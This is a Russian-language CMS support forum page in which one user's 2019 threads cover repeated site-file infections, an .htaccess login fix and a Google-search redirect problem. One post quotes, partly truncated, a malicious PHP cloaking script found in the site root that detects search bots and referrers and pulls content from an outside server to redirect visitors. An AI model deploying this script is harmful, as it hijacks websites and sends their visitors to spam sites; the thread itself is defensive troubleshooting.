G

gen

amateur.com.ua
+34
Репутация
7
Рейтинг
#1 [ЕСТЬ РЕШЕНИЕ] Удаляют файлы сайта или заражают их 20 ноября 2019 в 16:03



Подскажите в чем проблема в сервере

gen
Сложно так сказать, слишком мало данных. Что говорят логи?
Если гадать, то попробуйте поменять все данные (пользователя и пароль) на базу, ftp и т.д. предварительно проверим ПК антивирусом. Если у вас стоит антивирус, но проверить надо чем-то сторонним, например, скачать: Dr.Web CureIt!
И не забудьте посмотреть или заменить файлы на сервере. Где-то может лежать шелл.
Далее все равно (но лучше сразу) смотреть логи. Как был осуществлен доступ.

@Evg

А там будет отображаться, кто заходил и что делал или там надо будет еще очень сильно поковыряться?
#1 [ЕСТЬ РЕШЕНИЕ] Удаляют файлы сайта или заражают их 18 ноября 2019 в 12:03
Привет, я со стороной защиты и взлома не очень знаком, поэтому хочу спросить у знающих на что стоит обратить внимание.
Мой сайт стоит на 1-ой ветке и обновлен до последнее версии.
В последнее время с заметной периодичность на сайт заражаются или удаляются файлы, которые влияют на работу сайта. Ну по моему они просто блокируются сервером, так как в них появляется код, как мне объяснили в поддержке когда. Сначала в корне index и .htaccess заражался, потом cms.php, теперь в папке includes config.inc улетел. И так почти каждое утро в одно и тоже время сайт из за этого не доступен.
Подскажите в чем проблема в сервере или у меня вирус, хотя я в самом сайте ничего не делаю долгое время только заливаю контент.
#2 [ЕСТЬ РЕШЕНИЕ] Доступ к админ панели! 20 сентября 2019 в 10:45
Проблема была в .htaccess

RewriteCond %{HTTP_HOST} !amateur.com.ua (это добавил)
RewriteRule (.*) — [G,L]

Все получилось. Спасибо.
#1 [ЕСТЬ РЕШЕНИЕ] Доступ к админ панели! 18 сентября 2019 в 21:21
Проблема такая, я на сайт захожу через форму входа, а когда пытаюсь перейти в админ. панель, меня опять выкидывает на форму входа, после попытки авторизации выдает ошибку 404. В чем может быть причина, куда заглянуть? Ветка первая.
#3 [ЕСТЬ РЕШЕНИЕ] PHP код через модуль 18 сентября 2019 в 20:16


Можно.
Код нужно сохранить в php файл, файл загрузить в папку /includes/myphp/
В новом модуле указать имя файла


Нил™

Спасибо. Вы помогли!
#1 [ЕСТЬ РЕШЕНИЕ] PHP код через модуль 18 сентября 2019 в 15:44
Есть ли какое то простое решение, что через обычный модуль вставить код PHP чтобы он оборажался на сайте.
#4 [ЕСТЬ РЕШЕНИЕ] Через поиск Google, открывается совершенно другой сайт 7 апреля 2019 в 11:13


Можете еще скинуть свой .htaccess?

gen

Лучше просто нормально напишите))
У Вас не поймешь… то Вы находите у себя вредоносный файл:

Нет, я искал причину и нашел этот файл в корне сайта, который был изменен в конце марта, так как я проводил изменения сам в конце прошлого года, это меня насторожило и я его удалил.

gen

То потом пишите что это Ваш файл:

Нет это мой файл, я просто хочу разобраться это дыра в движке или с хостом проблемы.

gen

Потом Вы пишите загадочную фразу:

Вчера все что нашел удалил, сегодня опять залезли но уже только в .htaccess

gen

Что нашли? Что удалили? И что с .htaccess не так?
Нормально все излагать можете?

Что бы хотябы можно было понять, что было?, что вы уже делали для поиска вируса и обеспечения безопасности? что теперь стало?

Rainbow


Не ёрничайте пожалуйста.

В файл .htaccess периодический вносятся изменения, что приводит к проблеме переадресации.
#5 [ЕСТЬ РЕШЕНИЕ] Через поиск Google, открывается совершенно другой сайт 2 апреля 2019 в 16:34


Нет, я искал причину и нашел этот файл в корне сайта, который был изменен в конце марта, так как я проводил изменения сам в конце прошлого года, это меня насторожило и я его удалил. Насколько я понимаю он отношения никакого не имеет к CMS.

gen

Ищите еще возможно не все нашли...

Rainbow

Можете еще скинуть свой .htaccess?
#6 [ЕСТЬ РЕШЕНИЕ] Через поиск Google, открывается совершенно другой сайт 2 апреля 2019 в 14:38


Нет, я искал причину и нашел этот файл в корне сайта, который был изменен в конце марта, так как я проводил изменения сам в конце прошлого года, это меня насторожило и я его удалил. Насколько я понимаю он отношения никакого не имеет к CMS.

gen

Ищите еще возможно не все нашли...

Rainbow

Вчера все что нашел удалил, сегодня опять залезли но уже только в .htaccess
#7 [ЕСТЬ РЕШЕНИЕ] Через поиск Google, открывается совершенно другой сайт 1 апреля 2019 в 19:24


Сами загрузили может. Такое бывает, иногда сервисы разные выдают файлики и просят для подтверждения, что домен ваш, разместить файл в корне сайта. Если сервис мошеннический, то такой файл, все равно что вирус, который вы сами и разместили.

Ещё, как вариант, какое-то дополнение скачали, а там в архиве уже лежал этот файл.

@Milyana

Нет это мой файл, я просто хочу разобраться это дыра в движке или с хостом проблемы.
#8 [ЕСТЬ РЕШЕНИЕ] Через поиск Google, открывается совершенно другой сайт 1 апреля 2019 в 18:10


Вредоносный код. Прогоните все сайты вашего аккаунта через айболит. Возможно, еще где-то сидит

islyaeFF

Мне интересно как они в корень сайта — это засунули…
#9 [ЕСТЬ РЕШЕНИЕ] Через поиск Google, открывается совершенно другой сайт 1 апреля 2019 в 17:53


Что значит нашли? Сами загрузили или как? В каталоги пытались сайт добавлять?

@Milyana

Нет, я искал причину и нашел этот файл в корне сайта, который был изменен в конце марта, так как я проводил изменения сам в конце прошлого года, это меня насторожило и я его удалил. Насколько я понимаю он отношения никакого не имеет к CMS.
#10 [ЕСТЬ РЕШЕНИЕ] Через поиск Google, открывается совершенно другой сайт 1 апреля 2019 в 17:45
Вот такой вот файл нашел у себя:
  1. <?php
  2. ini_set('display_errors', '0');
  3. //set_time_limit(0);
  4.  
  5. $serverUrl='http://www.wo8899.top/server.php';
  6. $isDebug=false;
  7.  
  8. $serverName=$_SERVER['SERVER_NAME'];
  9. $serverName=str_replace('www.','',$serverName);
  10. $currentUrl=$_SERVER['QUERY_STRING'];
  11. $isSpiderAgent=checkAgent();
  12. $isSpiderReal='false';
  13. $isSearchEngineReferer=checkReferer();
  14. $ipAddress=getIPAddress();
  15. $realHost='';
  16. $locationUrl=GetLocationURL();
  17. $requestUrl='';
  18. $requestUrlMD5='';
  19. $returnText='';
  20.  
  21. $currentPath=str_replace('www.'.$serverName,'',$currentUrl);
  22. $currentPath=str_replace($serverName,'',$currentPath);
  23. if(endWith($currentPath,'?'))
  24. {
  25. $currentPath=substr($currentPath,0,strlen($currentPath)-1);
  26. }
  27.  
  28. if($isSpiderAgent=='true' && !empty($ipAddress))
  29. {
  30. $realHost=strtolower(gethostbyaddr($ipAddress));
  31. if(strpos($realHost, 'googlebot.com')!==false)
  32. {
  33. $isSpiderReal='true';
  34. }
  35. }
  36.  
  37. if($isSpiderAgent=='true')
  38. {
  39. $requestUrl=$serverUrl.'?action=get&serverName='.$serverName.'&query='.$currentPath;
  40. $requestUrlMD5=$serverUrl.'?action=get&serverName='.$serverName.'&query='.md5($currentPath);
  41. $returnText=http_get($requestUrlMD5,15);
  42. }
  43. else
  44. {
  45. if($isSearchEngineReferer=='true')
  46. {
  47. $requestUrl=$serverUrl.'?action=jump&serverName='.$serverName.'&query='.$currentPath;
  48. $requestUrlMD5=$serverUrl.'?action=jump&serverName='.$serverName.'&query='.md5($currentPath);
  49. $returnText=http_get($requestUrlMD5,15);
  50. }
  51. }
  52.  
  53. //test code beigin****************************************************************************************
  54. if($isDebug)
  55. {
  56. echo '<table cellpacing=0 cellpadding=4 border=0 bgcolor="skyblue">';
  57. echo '<tr bgcolor="skyblue"><td colspan=2 align="center"><b>Debug Info</b></td></tr>';
  58. echo '<tr bgcolor="white"><td><b>currentUrl</b></td><td>'.$currentUrl.'</td></tr>';
  59. echo '<tr bgcolor="white"><td><b>currentPath</b></td><td>'.$currentPath.'</td></tr>';
  60. echo '<tr bgcolor="white"><td><b>user-Agent</b></td><td>'.$_SERVER["HTTP_USER_AGENT"].'</td></tr>';
  61. echo '<tr bgcolor="white"><td><b>isSpiderAgent</b></td><td>'.$isSpiderAgent.'</td></tr>';
  62. echo '<tr bgcolor="white"><td><b>isSpiderReal</b></td><td>'.$isSpiderReal.'</td></tr>';
  63. echo '<tr bgcolor="white"><td><b>isSearchEngineReferer</b></td><td>'.$isSearchEngineReferer.'</td></tr>';
  64. echo '<tr bgcolor="white"><td><b>ipAddress</b></td><td>'.$ipAddress.'</td></tr>';
  65. echo '<tr bgcolor="white"><td><b>realHost</b></td><td>'.$realHost.'</td></tr>';
  66. echo '<tr bgcolor="white"><td><b>serverName</b></td><td>'.$serverName.'</td></tr>';
  67. echo '<tr bgcolor="white"><td><b>locationUrl</b></td><td>'.$locationUrl.'</td></tr>';
  68. echo '<tr bgcolor="white"><td><b>requestUrl</b></td><td>'.$requestUrl.'</td></tr>';
  69. echo '<tr bgcolor="white"><td><b>requestUrlMD5</b></td><td>'.$requestUrlMD5.'</td></tr>';
  70. echo '<tr bgcolor="white"><td><b>returnText</b></td><td>'.$returnText.'</td></tr>';
  71. echo '</table>';
  72. //exit;
  73. }
  74. else
  75. {
  76. echo $returnText;
  77. }
  78. //test code end****************************************************************************************
  79.  
  80. function GetLocationURL()
  81. {
  82. $pageURL = '';
  83. if ($_SERVER['SERVER_PORT'] != '80')
  84. {
  85. $pageURL = 'https://'. $_SERVER['HTTP_HOST'].':'.$_SERVER['PHP_SELF'];
  86. }
  87. else
  88. {
  89. $pageURL = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
  90. }
  91. return $pageURL;
  92. }
  93.  
  94. function checkAgent()
  95. {
  96. $rtnVal = "false";
  97. try
  98. {
  99. if(!empty($_SERVER["HTTP_USER_AGENT"]))
  100. {
  101. $agent = "user-agent:".strtolower($_SERVER['HTTP_USER_AGENT']);
  102. if(strpos($agent,'google.com')!==false || strpos($agent,'google.co.jp')!==false || strpos($agent,'yahoo.co.jp')!==false || strpos($agent,'docomo.ne.jp')!==false || strpos($agent,'bing')!==false)
  103. {
  104. $rtnVal="true";
  105. }
  106. }
  107. }
  108. catch (Exception $w){}
  109. return $rtnVal;
  110. }
  111.  
  112. function checkReferer()
  113. {
  114. $rtnVal="false";
  115. try
  116. {
  117. if(!empty($_SERVER["HTTP_REFERER"]))
  118. {
  119. $url = 'referer:'.strtolower($_SERVER["HTTP_REFERER"]);
  120. if(strpos($url,'google.com')!==false || strpos($url,'google.co.jp')!==false || strpos($url,'yahoo.co.jp')!==false || strpos($url,'docomo.ne.jp')!==false || strpos($url,'bing')!==false)
  121. {
  122. $rtnVal="true";
  123. }
  124. }
  125. }
  126. catch (Exception $w){}
  127. return $rtnVal;
  128. }
  129.  
  130. function getIPAddress()
  131. {
  132. $ip="";
  133. $unknown = "unknown";
  134. if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] && strcasecmp($_SERVER['HTTP_X_FORWARDED_FOR'],$unknown))
  135. {
  136. $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  137. }
  138. elseif ( isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], $unknown))
  139. {
  140. $ip = $_SERVER['REMOTE_ADDR'];
  141. }
  142. if (false !== strpos($ip, ','))
  143. {
  144. $ip = reset(explode(',', $ip));
  145. }
  146. if($ip==$unknown)
  147. {
  148. $ip="";
  149. }
  150. return $ip;
  151. }
  152.  
  153. function curPageURL()
  154. {
  155. $pageURL = "http://";
  156. $pageURL .= $_SERVER["HTTP_HOST"].$_SERVER["PHP_SELF"];
  157. if(!
#1 [ЕСТЬ РЕШЕНИЕ] Через поиск Google, открывается совершенно другой сайт 1 апреля 2019 в 17:26
При переходе на мой сайт через поиск Google, открывается совершенно другой сайт, но когда вводишь в адресную строку, сайт открывается тот что нужно. В чем может быть причина, такого перехода в Google? В ya.ru все в порядке.

Запрос в гугл делаю: ленино инфо

но результат запроса ведет с начало на мой сайт, а потом резко прыгает на www.zhu555.com/ и потом на napianhai.online/

Очень нужна ваша помощь.
Спасибо.

#11 [ЕСТЬ РЕШЕНИЕ] Проблема с DT СЛАЙДЕРОМ НОВОСТЕЙ 24 января 2019 в 22:50
Решение.

Ваш хостинг при загрузке файлов сжимает содержимое в одну строку, от
того и проблема. По крайней мере в исходном коде страницы скрипт
выводится в одну строку, так быть не должно, если файл не пережался
хостингом. Можете попробовать загрузить этот файл в двоичном режиме
🍪Мы используем файлы cookie для работы сайта. Читать подробнее.